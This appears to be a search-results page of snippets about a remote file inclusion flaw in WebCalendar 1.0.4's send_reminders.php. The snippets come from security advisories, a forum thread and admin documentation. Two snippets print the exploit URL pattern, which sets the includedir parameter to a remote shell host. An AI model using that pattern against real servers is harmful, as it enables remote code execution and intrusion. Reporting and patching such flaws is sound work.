Once a month is all you ...

SecurityTracker.com Archives - WebCalendar Include File Bug in 'send ...
http://[target]/patch/tools/send_reminders.php?noSet=0&includedir=http:/ /sheLLz? The original advisory is available at: http://www.milw0rm.com/exploits/5847
http://securitytracker.com/id?1020357

SecurityTracker.com Archives - WebCalendar Include File Bug in ...
SecurityTracker.com Archives - WebCalendar Include File Bug in ...
http://www.securitytracker.com/alerts/2008/Jun/1020357.html

WebCalendar 1.0.4 (includedir) Remote File Inclusion Vulnerability
Cr@zy_King :\ BiyoSecurity Team WebCalendar v1.0.4 Remote Fıle Include Demo - Down : http://webcalendar.sourceforge.net/ http://localhost/patch/tools/send_reminders.php?noSet=0 ...
http://www.milw0rm.com/exploits/5847

SourceForge.net: Open Discussion
... original post at the top of this thread if you want to manually apply the patch. ... Upon inspecting my access log, I see a lot of URL like /calendar/tools/send_reminders.php?includedir
http://sourceforge.net/forum/forum.php?thread_id=1342085&forum_id=11587

WebCalendar System Administrator's Guide
1 * * * * wget http://yourserverhere/webcalendardirectoryhere/tools/send_reminders.php > /dev/null ... Mac OS X will have the patch program installed if they install the developer ...
http://www.keystonekrawlers.com/webcal/docs/WebCalendar-SysAdmin.html#trouble

YNOT.com :: View topic - Those extensions...
YNOT.com :: View topic - Those extensions...
http://www.ynot.com/index.php?name=PNphpBB2&file=printview&t=129619&start=0

SecurityReason - WebCalendar 1.0.4 (includedir) Remote File Inclusion ...
SecurityReason - WebCalendar 1.0.4 (includedir) Remote File Inclusion ...
http://securityreason.com/exploitalert/4119

k5n.us: WebCalendar Frequently Asked Questions
... setup a cron job to periodically run the send_reminders.php ... Mac OS X will have the patch program installed if they install the developer tools CD.
http://www.k5n.us/webcalendar.php?topic=FAQ